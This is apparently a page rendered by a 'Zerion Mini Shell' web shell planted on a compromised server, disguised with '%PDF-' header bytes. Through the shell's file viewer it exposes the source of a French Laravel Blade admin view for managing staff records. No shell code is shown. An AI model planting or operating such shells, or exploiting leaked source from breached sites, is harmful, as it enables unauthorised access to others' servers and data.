%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/resources/views/Employees/Gestionnaires/
Upload File :
Create Path :
Current File : //var/www/html/resources/views/Employees/Gestionnaires/index.blade.php

@extends('template')

@section('title')
    Liste des gestionnaires
@endsection

@section('content')

<div class="container fluid">
    <!-- Button trigger modal -->
    @if (session()->has('status'))
        <div class="alert alert-success" role="alert">
            {{ session()->get('status') }}
        </div>
    @elseif (session()->has('error'))
        <div class="alert alert-danger" role="alert">
            {{ session()->get('error') }}
        </div>
    @endif
    @if (session()->has('message'))
            <div class="alert alert-success">
                {{ session()->get('message') }}
            </div>
    @endif
    @foreach ($errors->all() as $message)
            <div class="alert alert-danger">
                {{ $message }}
            </div>
    @endforeach
<div class="card">
        <div class="card-header">
            <ul class="nav nav-pills card-header-pills">
                <li class="nav-item">
                    <button type="button" class="btn btn-info" data-toggle="modal" data-target="#addGestionnaireModal">
                        <i class="fas fa-plus"></i> Ajouter gestionnaire
                    </button>
                </li>&nbsp;
                <li class="d-flex">
                    <input class="form-control me-2" type="search" id="searchInput" placeholder="Search"
                        aria-label="Search">
                </li>
                <li class="nav-item">&nbsp;
                    <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#DeleteGestionnaireModal" id="DeleteAll">
                        <i class="fas fa-trash-alt"></i>&nbsp; Supprimer Tout
                    </button>
                </li>&nbsp;


            </ul>
</div>
<div class="card-body">
            <h5 class="card-title text-primary">Liste des gestionnaires</h5>
            <table class="table table-hover table-sm">
                <thead>
                    <tr>
                        <th scope="col"><input type="checkbox" id="checkAll"></th>
                        <th scope="col">Nom Complet</th>
                        <th scope="col">E-mail</th>
                        <th scope="col">CIN</th>
                        <th scope="col">Téléphone</th>
                        <th scope="col">Actions</th>
                    </tr>
                </thead>

                <tbody>
                    @foreach ($gestionnaires as $gestionnaire)
                        <tr id="sec">
                            <td><input type="checkbox" value="{{ $gestionnaire->id }}" name="ids" class="checkAllids">
                            </td>
                            <td>{{ $gestionnaire->name }}</td>
                            <td>{{ $gestionnaire->email }}</td>
                            <td>{{ $gestionnaire->meta->cin }}</td>
                            <td>{{ $gestionnaire->phone }}</td>

                            <td>
                                <div class="row">
                                    <div class="px-2">
                                        <button class="badge badge-primary btn-sm border-0" type="button" data-toggle="modal"
                                            data-target="#editGestionnaireModal"
                                            data-object="{{ @json_encode($gestionnaire) }}"><i class="fas fa-edit"></i></button>
                                    </div>
                                    <div class="px-2">
                                        <button class="badge badge-danger btn-sm border-0" type="button" data-toggle="modal"
                                            data-target="#confirmModal" data-delete-id="{{ $gestionnaire->id }}">
                                            <i class="fas fa-trash-alt"></i></button>
                                    </div>
                                </div>
                            </td>
                        </tr>
                    @endforeach
                </tbody>
            </table>
            <div class="d-flex flex-row justify-content-center">{{ $gestionnaires->links() }}</div>

        </div>
    </div>
</div>

@endsection

@section('scripts')
<!-- Modal add -->
<div class="modal fade" id="addGestionnaireModal" tabindex="-1" role="dialog" aria-labelledby="addGestionnaireModalLabel"
        aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="addGestionnaireModalLabel"> J2HB | Ajouter Gestionnaire </h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <form action={{ route('store_gestionnaire') }} method="POST">
                    @csrf
                    <div class="modal-body">
                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="text" class="form-control form-control-user" name="name" placeholder="Nom Complet" required>
                            </div>
                        </div>
                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="text" class="form-control form-control-user" name="email" placeholder="E-mail" required>
                            </div>
                        </div>
                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="text" class="form-control form-control-user" name="cin" placeholder="CIN" required>
                            </div>
                        </div>
                        
                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="tel" class="form-control form-control-user" name="phone" placeholder="Téléphone" required>
                            </div>
                        </div>

                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="password" class="form-control form-control-user" name="password" autocomplete="on" placeholder="Mot de passe" required>
                            </div>
                        </div>
                        
                        <button type="submit" class="btn btn-primary btn-user btn-block">Ajouter</button>
                    </div>

                </form>

            </div>
        </div>
</div>

<!-- Modal add -->
<div class="modal fade" id="editGestionnaireModal" tabindex="-1" role="dialog" aria-labelledby="editGestionnaireModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title" id="editGestionnaireModalLabel"> J2HB | Modifier gestionnaire </h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <form action={{ route('store_gestionnaire') }} method="POST">
                    @csrf
                    <input type="hidden" name="id">
                    <div class="modal-body">
                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="text" class="form-control form-control-user" name="name">
                            </div>
                        </div>
                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="email" class="form-control form-control-user" name="email">
                            </div>
                        </div>
                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="text" class="form-control form-control-user" name="cin">
                            </div>
                        </div>
                        <div class="form-group row">
                            <div class="col-12 pb-4">
                                <input type="tel" class="form-control form-control-user" name="phone">
                            </div>
                        </div>
                        
                        <button type="submit" class="btn btn-primary btn-user btn-block">Modifier</button>
                    
                    </div>

                </form>

            </div>
        </div>
    </div>
<!-- End Modal add -->

<!-- Delete  -->
<div class="modal fade" id="confirmModal" tabindex="-1" role="dialog" aria-labelledby="addGestionnaireModalLabel"
        aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content" action="{{ route('destroy_gestionnaire') }}" method="post">
                <div class="modal-header">
                    <h5 class="modal-title">Confirmation :</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p>Etes-vous sûr que vous voulez supprimer ?</p>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="id">
                    @csrf
                    <button type="submit" id="delete" name="OK_button" class="btn btn-primary">OK</button>
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Annuler</button>
                </div>
            </form>
        </div>
</div>
<!-- End Delete-->

<!-- Delete ALL -->
<div class="modal fade" id="DeleteGestionnaireModal" tabindex="-1" role="dialog" aria-labelledby="DeleteGestionnaireModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content" action="{{ route('deleteAllgestionnaires') }}" method="post">
                <div class="modal-header">
                    <h5 class="modal-title">Confirmation :</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p>Etes-vous sûr que vous voulez supprimer ?</p>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="allids">
                    @csrf
                    <button type="submit" id="deleteAll" name="OK_button" class="btn btn-primary">OK</button>
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Annuler</button>
                </div>
            </form>
        </div>
</div>

<!-- Delete ALL -->

    <script language="javascript">
        $(document).ready(function() {
            $("#confirmModal").on('show.bs.modal', function(e) {
                var id = parseInt($(e.relatedTarget).attr('data-delete-id'));
                $(this).find('input[name="id"]').val(id);
            });
            $("#editGestionnaireModal").on('show.bs.modal', function(e) {
                var data = JSON.parse($(e.relatedTarget).attr('data-object'));
                $(this).find('input[name="id"]').val(data.id);
                $(this).find('input[name="name"]').val(data.name);
                $(this).find('input[name="email"]').val(data.email);
                $(this).find('input[name="cin"]').val(data.cin);
                $(this).find('input[name="phone"]').val(data.phone);

            });
            $("#DeleteGestionnaireModal").on('show.bs.modal', function(e) {
                var allids = [];
                $("input:checkbox[name=ids]:checked").each(function() {
                    allids.push($(this).val());
                });
                $(this).find('input[name="allids"]').val(allids.join(','));
            });
            $("#searchInput").on("keyup", function() {
                var value = $(this).val().toLowerCase();
                $("#gestionnaire").filter(function() {
                    $(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)
                });
            });
            $(function(e) {
                $("#checkAll").click(function() {
                    $(".checkAllids").prop('checked', $(this).prop('checked'));
                });
            });
        });
    </script>


@endsection

Zerion Mini Shell 1.0